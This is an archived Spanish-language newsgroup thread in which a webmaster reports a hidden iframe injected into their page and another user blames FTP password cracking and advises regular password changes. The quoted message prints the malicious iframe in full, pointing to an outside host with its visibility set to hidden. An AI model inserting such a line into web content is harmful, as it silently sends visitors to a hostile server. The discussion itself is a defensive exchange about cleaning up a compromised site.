🚀 go-pugleaf

Estimados, el ataque se realiza a trav�s del servicio de FTP.

El procedimiento es que ponen un algoritmo de descifrador de cuentas FTP y 
lo dejan corriendo sobre una lista de sitios (puede que sea un robot 
programado para esto), una vez descifrada la pass, la guarda y los tiene 
parque inyectando el famoso HTML que inserta una linea con un frame de otro 
lado.

Para parar estos ataques, les recomiendo que hagan cambio de sus pass de FTP 
cada cierto tiempo, ojal� sea generado por algun algoritmo de generacion de 
codigos. A medida que vayan generando esta pass (una vez al mes, por 
ejemplo), guardenla y haganse el h�bito de cambiarla a cada rato (una vez al 
mes est� bien). Si la Pass que generan resulta de alta dificultad para estos 
robots, entonces haganlo solo una vez, o hasta que les pase nuevamente.

A mi me pasaba, hasta que deduje que este era el motivo, me hice el habito 
de cambiar la pass del FTP y todo solucionado.

Salu2,
antxb4nx23r


"News VTR" <reeddume@gmail.com> escribi� en el mensaje 
news:h4k8ht$ujb$1@news.nivel5.cl...
> Una pagina index he tenido que corregirla varias veces, porque de repente 
> aparece "desplazada" hacia abajo.
> Mirando el codigo, resulta que APARECE un iframe que yo no he puesto y que 
> produce el desplazamiento.
> El codigo "intruso" es este:
> <iframe src="http://u1j.in:8080/ts/in.cgi?pepsi109" width=125 height=125 
> style="visibility: hidden"></iframe>
>
> �como puede haberse "metido" al codigo, y ya en el Servidor?
>
> �Alguna experiencia al respecto?
> �Que se puede hacer?
>
> So no + y gracias
>